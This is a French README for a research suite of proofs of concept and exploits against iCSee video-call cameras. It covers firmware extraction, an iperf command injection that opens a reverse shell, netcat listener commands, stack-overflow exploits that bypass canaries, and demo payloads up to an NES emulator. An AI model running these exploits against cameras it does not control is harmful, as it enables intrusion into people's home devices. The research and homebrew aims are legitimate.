
Ceci est une suite d'outils/PoCs/exploits pour les caméras utilisant l'application iCSee. Et oui - elle peut exécuter des jeux NES !
Ceci est un ensemble d'outils/PoC/exploits qui peuvent être utilisés sur les caméras d'appel vidéo iCSee via le réseau local (et peut-être aussi les caméras sans appel vidéo). Cela pourrait facilement être utilisé pour flasher des firmwares alternatifs en remplacement de la méthode de mise à jour par carte SD.
Remarque : Tout exploit de corruption mémoire ne fonctionnera que si la version du firmware de votre caméra est V5.00.R02.000949U5.10000.141324.0000010 ou V5.00.R02.000807E5.10000.346724.0000010 - ces exploits reposent sur des offsets fixes, qui changent à chaque construction du firmware.
[0] Énumération, démontage et extraction du firmware
[1] Apprendre le langage de la caméra
[2] Recherche de débordements d'entiers inutiles + quelques bugs utiles
[3] La mort par débordement de pile + plaisir avec les canaris
[4] Exploiter toutes les choses
[5] Caméra différente, même application
[6] Vindication + exploit complet de corruption mémoire sur la deuxième caméra
[7] Émulation de jeux NES sur la caméra
pycryptodome : Pour le cryptage RSA de connexionpwntools : Pour le shellcodepyftpdlib : Pour le serveur FTPpynput : Pour l'entrée clavier NESget_system_infoCela utilise la méthode get_system_info pour récupérer des informations sur la caméra via le port 34567.
python3 icseeu.py get_system_info
{
"Name": "SystemInfo",
"Ret": 100,
"SessionID": "0x0001869f",
"SystemInfo": {
"AlarmInChannel": 0,
"AlarmOutChannel": 0,
"AudioInChannel": 1,
"BuildTime": "2024-06-27 10:33:41",
"CombineSwitch": 0,
"DeviceModel": "IPC_GK7201V300_G2-WR-V_S38",
"DeviceRunTime": "0x000026c6",
"DeviceType": 7,
"DigChannel": 0,
"EncryptVersion": "Unknown",
"ExtraChannel": 0,
"HardWare": "IPC_GK7201V300_G2-WR-V_S38",
"HardWareVersion": "Unknown",
"Pid": "A909409U5000000N",
"SerialNo": "bf7816d59506ec06",
"SoftWareVersion": "V5.00.R02.000949U5.10000.141324.0000010",
"TalkInChannel": 1,
"TalkOutChannel": 1,
"UpdataTime": "",
"UpdataType": "0x00000000",
"VideoInChannel": 1,
"VideoOutChannel": 1
}
}
ftp_get_logsUtilise une fonctionnalité de texte résiduelle pour extraire les journaux de l'appareil (les journaux aboutissent dans FTPTestDir/Test).
python3 icseeu.py ftp_get_logs
gdb_revshellExploite une vulnérabilité d'écriture de fichier sur carte SD, et la vulnérabilité d'exécution du binaire iperf qui permet l'exécution à distance d'un binaire présent sur la carte SD, pour obtenir un shell inverse et lancer un débogueur GDB qui s'attache au processus App principal.
Terminal 1 :
nc -l 1234
Terminal 2 :
python3 icseeu.py gdb_revshell
Terminal 3 :
gdb-multiarch
gef-remote 192.168.188.2 8888
Remarque : N'arrêtez pas le programme pendant plus de 30 secondes, sinon le chien de garde se plaindra et le processus App redémarrera !
Remarque 2 : Vous devrez peut-être modifier les adresses IP codées en dur dans la charge utile (GDB_Revshell/remote_mgmt.c) pour qu'elles correspondent à l'IP de votre machine sur le réseau local et reconstruire la charge utile.
gdb_revshell_injectExploite une vulnérabilité d'écriture de fichier sur carte SD, et la vulnérabilité d'injection de commande iperf qui permet l'exécution à distance d'un binaire présent sur la carte SD, pour obtenir un shell inverse et lancer un débogueur GDB qui s'attache au processus App principal.
Ceci est utile pour les appareils qui possèdent déjà un binaire iperf, ce qui empêche l'autre méthode.
Terminal 1 :
nc -l 1234
Terminal 2 :
python3 icseeu.py gdb_revshell_inject
Terminal 3 :
gdb-multiarch
gef-remote 192.168.188.2 8888
Remarque : N'arrêtez pas le programme pendant plus de 30 secondes, sinon le chien de garde se plaindra et le processus App redémarrera !
Remarque 2 : Vous devrez peut-être modifier les adresses IP codées en dur dans la charge utile (GDB_Revshell/remote_mgmt.c) pour qu'elles correspondent à l'IP de votre machine sur le réseau local et reconstruire la charge utile.
iperf_inject_exploitExploite l'injection de commande iperf pour établir un shell inverse.
Terminal 1 :
nc -l 1234
Terminal 2 :
python3 icseeu.py iperf_inject_exploit
Remarque : Vous devrez peut-être modifier les adresses IP codées en dur dans la charge utile (Revshell_Inject/remote_mgmt.c) pour qu'elles correspondent à l'IP de votre machine sur le réseau local et reconstruire la charge utile.
Ce sont des exploits pour le deuxième débordement de pile dans le gestionnaire du type de message 0x7d8. Ce débordement est intéressant car il permet de contourner le canari de pile et d'obtenir une exécution.
Vous devrez construire la charge utile du dispatcher avant qu'ils ne fonctionnent (exécutez make dans le répertoire PayloadDispatcher), ainsi que la charge utile que vous souhaitez exécuter sur la caméra en exécutant make dans les répertoires respectifs (par exemple ImageDisplay).
Remarques :
screenflashDémontre que nous avons une exécution de code en faisant clignoter l'écran.
python3 icseeu.py exploit_goke screenflash
rgbDémontre que nous contrôlons l'écran en faisant clignoter des couleurs RVB.
python3 icseeu.py exploit_goke rgb
imagedisplayUtilise l'écriture de fichier pour télécharger une image brute RGB 5:6:5, exécutez ffmpeg -i image.jpg -vf scale=240:320 -c:v rawvideo -pix_fmt rgb565 -f rawvideo image.raw sur une image dans le répertoire pour obtenir un fichier image.raw dans le répertoire ImageDisplay pour que cela fonctionne. L'image sera affichée à l'écran.
python3 icseeu.py exploit_goke imagedisplay
buttontestDémontre que nous pouvons lire l'état des boutons, fait clignoter une couleur lorsqu'un des boutons est détecté comme ayant été enfoncé.
python3 icseeu.py exploit_goke buttontest
pongUne implémentation minimale du jeu Pong qui démontre que nous contrôlons l'écran et les boutons à l'avant, démontre également une charge utile légèrement plus complexe.
python3 icseeu.py exploit_goke pong
nesUn émulateur NES porté qui peut jouer le rom.nes placé dans le répertoire GOKE_Payloads/nes, exécutez make dans GOKE_Payloads/nes/smolnes et GOKE_Payload/nes pour générer les binaires.